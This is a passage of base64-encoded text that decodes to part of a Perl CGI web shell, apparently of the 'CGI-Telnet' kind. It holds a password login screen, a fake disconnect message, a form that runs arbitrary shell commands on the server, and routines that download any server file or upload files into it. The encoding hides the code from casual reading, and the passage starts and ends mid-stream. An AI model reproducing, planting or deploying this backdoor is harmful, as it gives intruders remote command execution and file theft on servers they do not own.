U1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
YSIgdmFsdWU9ImxvZ2luIj4KbG9naW46IGFkbWluPGJyPgpwYXNzd29yZDo8aW5wdXQgdHlwZT0i
cGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8
L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhl
IGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu
dFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhl
IGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycn
fQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9
IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBj
b29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2ll
c3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUg
c2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIg
UHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZv
cmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMg
TG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2ll
OiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFk
ZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50
TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
IFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dv
cmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8g
cnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBh
c3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNl
cgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbgp7Cglp
ZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXBy
aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFn
ZUhlYWRlcigiYyIpOwoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VG
b290ZXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhl
YWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIi
KSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVz
c2FnZTsKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu
dENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7
Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0
aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5w
dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0Cjxp
bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVu
dGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJp
bnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMK
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9t
cHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3Vy
cmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9
IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt
ZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIg
dmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5w
dXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5w
dXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRG
aWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlth
ZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4K
PGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NU
IiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5h
bWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9u
czogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRl
Ij4KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJz
cDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVu
IiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3Ig
YSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1l
ZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2
ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDAp
OwoJCXByaW50IDw8RU5EOwo8L3htcD4KPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0
aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEK
PGNvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290
ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24g
aXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2Yg
dGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFu
ZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHku
IEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJu
YWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhl
Y3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5v
dCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5v
dCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5k
CnsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2Ug
ZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRo
ZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgoJCSRPbGREaXIg
PSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAu
ImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGAp
OwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQ
cm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQs
IGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0
ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJl
bnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1w
PiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5k
LiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1h
bmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRT
aG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJ
CSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1h
bmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4p
JC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91
dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9
CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0K
CSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBj
b250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNw
ZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVh
dHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAx
OiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoj
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwo
JEZpbGVVcmwpID0gQF87CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsK
CQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2Vy
CgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJ
CSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZv
PWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBD
T05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMi
KTsKCQlwcmludCA8PEVORDsKPGNvZGU+ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJy
PgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0i
JERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uCjwvY29kZT4KRU5ECgkJJlByaW50Q29tbWFu
ZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBmaWxlIGRvZXNu
J3QgZXhpc3QKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxl
ZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRG
b3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU
aGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBz
ZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5
IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUg
ZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJv
d3Nlcgp7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZp
bGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlu
bW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0
YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15c
XF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsK
CQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1E
aXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8
U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4g
ZmlsZQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRv
IGRvd25sb2FkICRTZW5kRmlsZTogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3Jt
OwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhp
cyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBk
aXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91
Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBh
bHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2Fz
ZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBw
YXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVy
RmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
XC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmls
ZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYo
JFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAu
PSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
aGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxl
KTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlBy
aW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVw
bG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMg
YSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBp
dCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBV
cGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQg
Zm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVy
KCJmIik7CgkJJlByaW50RmlsZVVwbG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1
cm47Cgl9CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHBy
b2Nlc3MKCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERp
ci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBm
aWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRD
dXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikk
ITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0
aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qg
c3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBu
ZSAib3ZlcndyaXRlIikKCXsKCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVh
ZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihv
cGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklM
RSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xv
c2UoVVBMT0FERklMRSk7CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRl
cy48YnI+IjsKCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxz
ZQoJCXsKCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CglwcmludCAiPC9jb2RlPiI7
CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0t
